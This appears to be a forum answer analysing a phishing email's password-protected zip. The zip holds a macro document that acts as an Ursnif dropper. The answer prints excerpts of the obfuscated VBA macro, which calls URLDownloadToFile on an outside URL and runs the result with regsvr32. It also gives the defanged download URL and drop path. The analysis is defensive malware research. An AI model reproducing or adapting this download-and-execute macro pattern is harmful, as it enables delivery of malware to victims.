Just that unexpected password-protected zip attachment with the clear password included in the mail would make me suspicious.
Not all password protected zips are malicious, but if you are encrypting a document to protect it from prying eyes, it would be preferable to send that separately through a different medium (such as a phone call). It is also uncommon to do this. The context would also matter. Perhaps we were expecting certain document and we talked that we wanted to send it encrypted. Or we know that this guy always sends us the documents this way.
The fact that it is a reply of a legitimate e-mail could have given it more credibility in the past. Not so after Emotet abused it so much on its campaigns. As this is indeed malicious, it means a recipient of that email it is "replying" to has been compromised (probably recently, perhaps in the past and it's now fixed. In case of doubt, change their credentials).
In order to be analyzed, you will usually need to provide the extracted file. As you mention, this might pose a risk if file preview unexpectedly runs the potential payload (e.g. a exploit). In this specific case, it would be safe to only open it with macros disabled, but you could easily infect yourself when playing with malware samples. It's good thing you used a virtual machine for any study into the document.
Analyzing the document, it is just a normal macro virus. Opening it shows the usual lure to make you enable document edition (and thus allow macros to run):
The malicious action is executed through document macros:
Dim ij As New OG
ij.W Kd("$+1", 0), Kd("$+1", 1)
Dim It As New H
It.b "regsvr32 " + Kd("$+1", 1)
Method W of class OG is just a wrapper of URLDownloadToFile function from
Public Function W(JQ, i7)
dD = URLDownloadToFile(0&, JQ, i7, 0&, 0&)
Thus, it downloads url
Kd("$+1", 0) saving it to
Kd("$+1", 1). Kd is just a function which returns one of two strings that were defined above in a function called s(), obfuscated with intermixed "$+1" strings and "%%%" as separator:
arr(0) = "h$+1t$+1t$+1p$+1:$+1/$+1/$+1h$+1e$+1r$+1z$+1q$+1v$+1t$+1p$+1b$+19$+19$+1m$+10$+1c$+1n$+1.$+1c$+1o$+1m$+1/$+1g$+1g$+18$+18$+1w$+1"
arr(1) = "y$+1a$+1f$+1t$+1c$+1x$+1r$+17$+1g$+1u$+1/$+1w$+1o$+10$+1z$+1z$+1.$+1p$+1h$+1p$+1?$+1l$+1=$+1s$+1f$+1z$+1s$+18$+1.$+1c$+1a$+1b$+1"
arr(2) = "%$+1%$+1%$+1c$+1:$+1\$+1p$+1r$+1o$+1g$+1r$+1a$+1m$+1d$+1a$+1t$+1a$+1\$+14$+17$+19$+10$+15$+12$+19$+17$+1.$+1d$+1a$+1t$+1"
So, it downloads the file from
hxxp://herzqvtpb99m0cn[.]com/gg88wyaftcxr7gu/wo0zz.php?l=sfzs8.cab and saves it to
Method b of class H is just hiding
In summary, your document downloads a file from the shady domain herzqvtpb99m0cn dot com (registered a few days ago, on 2020-05-25T12:23:49Z), saves it on
c:\programdata and runs it through
Its dns servers (at dnspod.com) do not resolve the domain now, so that's as far as we can directly analyze it.
There is an entry for this url on https://urlhaus.abuse.ch/url/369399/ According to the information there, it was a sample of the Ursnif malware.
Conclusion: Your document is a dropper that will run a second stage, probably a binary of the ursnif malware family.